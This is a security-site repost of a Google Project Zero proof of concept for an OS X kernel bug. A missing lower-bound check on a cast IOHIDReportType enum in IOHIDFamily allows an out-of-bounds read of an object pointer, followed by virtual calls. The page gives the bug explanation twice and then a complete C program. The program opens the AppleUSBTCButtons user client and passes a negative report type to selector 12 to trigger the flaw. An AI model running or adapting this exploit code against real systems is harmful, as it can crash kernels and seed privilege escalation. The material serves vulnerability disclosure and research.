首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast
来源:Google Security Research 作者:Google 发布时间:2016-06-12  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774
 
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
 
            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
 
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
 
    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;
 
reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);
 
        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,
 
where GetHeadElement is defined as:
 
#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]
 
This leads to an OOB read off the head array followed by virtual function calls
 
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
 
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
 
I can provide panic logs if required.
*/
 
// ianbeer
 
// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation
 
/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type
 
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
 
            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
 
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
 
    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;
 
reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);
 
        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,
 
where GetHeadElement is defined as:
 
#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]
 
This leads to an OOB read off the head array followed by virtual function calls
 
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
 
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
 
I can provide panic logs if required.
*/
 
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
 
#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>
 
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
 
io_connect_t get_user_client(const char* name, int type) {
  kern_return_t err;
  CFDictionaryRef matching;
  io_service_t service;
 
  // try IOServiceMatching
  matching = IOServiceMatching(name);
  service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
   
  if (service == MACH_PORT_NULL) {
    // try IOServiceNameMatching
    matching = IOServiceNameMatching(name);
    service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  }
 
  if (service == MACH_PORT_NULL) {
    // try everything and look for a partial name match
    matching = IOServiceMatching("IOService");
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
     
    int found_it = 0;
    while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
      io_name_t object_name;
      IOObjectGetClass(service, object_name);
      if (strstr(object_name, name)) {
        found_it = 1;
        break;
      }
      IOObjectRelease(service);
    }
    IOObjectRelease(iterator);
 
    if (!found_it) {
      // couldn't find any matches for the name anywhere
      return MACH_PORT_NULL;
    }
  }
 
  io_connect_t conn = MACH_PORT_NULL;
 
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    IOObjectRelease(service);
    return MACH_PORT_NULL;
  }
  IOObjectRelease(service);
   
  return conn;
}
 
kern_return_t poc(io_connect_t client){ 
  unsigned int selector;
 
  uint64_t inputScalar[16];
  size_t inputScalarCnt = 0;
 
  uint8_t inputStruct[4096];
  size_t inputStructCnt = 0;
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
 
  char outputStruct[4096];
  size_t outputStructCnt = 0;
   
  inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
  inputScalar[1] = 0x00a90000;
  inputScalar[2] = 0;
 
  inputScalarCnt = 3;
 
  outputStructCnt = 0x1000;
 
  selector = 12;
 
  return IOConnectCallMethod(
    client,
    selector,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt);
}
 
 
int main(int argc, char** argv){
  io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
  if (client == MACH_PORT_NULL) {
    printf("no client\n");
    return 1;
  }
 
  poc(client);
 
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OS X Kernel - Exploitable NULL
·OS X Kernel - Use-After-Free D
·OS X Kernel - Exploitable NULL
·OS X/iOS Kernel - UAF Racing g
·OS X Kernel - Exploitable NULL
·OS X Kernel - Stack Buffer Ove
·OS X Kernel - Exploitable NULL
·Allwinner 3.4 Legacy Kernel Lo
·OS X Kernel - Exploitable NULL
·Zabbix 2.2 - 3.0.3 - RCE with
·Apache Struts REST Plugin With
·iSQL 1.0 - Shell Command Injec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved